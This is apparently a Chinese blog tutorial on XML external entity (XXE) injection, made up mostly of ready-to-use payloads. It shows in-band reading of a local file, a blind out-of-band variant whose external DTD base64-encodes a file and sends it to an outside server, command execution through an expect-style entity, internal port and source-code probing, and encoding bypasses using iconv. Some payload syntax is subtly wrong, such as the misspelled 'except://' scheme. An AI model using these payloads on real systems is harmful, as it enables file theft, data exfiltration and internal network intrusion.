什么是XXE注入
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,是因为网站有接受xml作为参数,且没有对参数进行过滤,导致黑客可以上传恶意xml代码。
有回显注入
原传参xml
<user><username>username</username><password>pasword</password></user>
返回
<result><code>1</code><msg>username</msg></result>
可以看出username是回显点,那么我们提交恶意xml,并把内容回显在username处
读取C盘下的1.txt文件,并回显出来
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ppc [
<!ENTITY pingc SYSTEM "file:///c:/1.txt" >
]>
<user><username>&pingc;</username><password>password</password></user>
无回显注入
原传参xml
<user><username>username</username><password>pasword</password></user>
返回
<result><code>1</code></result>
可以看出无回显点,那么使用参数实体类来获取结果
请求外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ppc [
<!ENTITY % remote SYSTEM "http://192.168.1.11/test.dtd">
%remote;
%trick;
]>
外部DTD内容
嵌套的ENTITY,内部的%号要进行实体编码成%,对读取的内容进行base64编码,防止浏览器解析问题导致失败
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % all "<!ENTITY % trick SYSTEM 'http://192.168.1.11?xxe=%payload;'>">
%all;
该代码会对http://192.168.1.11发起访问,xxe参数传递的值就是回显内容
查看192.168.1.11服务器上的日志就可以看到回显内容
利用代码
命令执行
需要安装except模块
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE pingc[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<pingc>&xxe;</pingc>
内网ip探测与端口
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE pingc [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.1.10:22"> ]>
<pingc>&goodies;</pingc>
内网系统源码探测
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE pingc [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.1.9/bWAPP/login.php"> ]>
<pingc>&goodies;</pingc>
绕过
填充空格绕过
<?xml
version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ppc [
<!ENTITY pingc SYSTEM "file:///c:/1.txt" >
]>
<user><username>&pingc;</username><password>password</password></user>
编码绕过
linux下运行以下命令
UTF-8 -> UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
UTF-8 -> UTF-7
cat payload.xml | iconv -f utf-8 -t utf-7 > payload.8-7.xml
评论区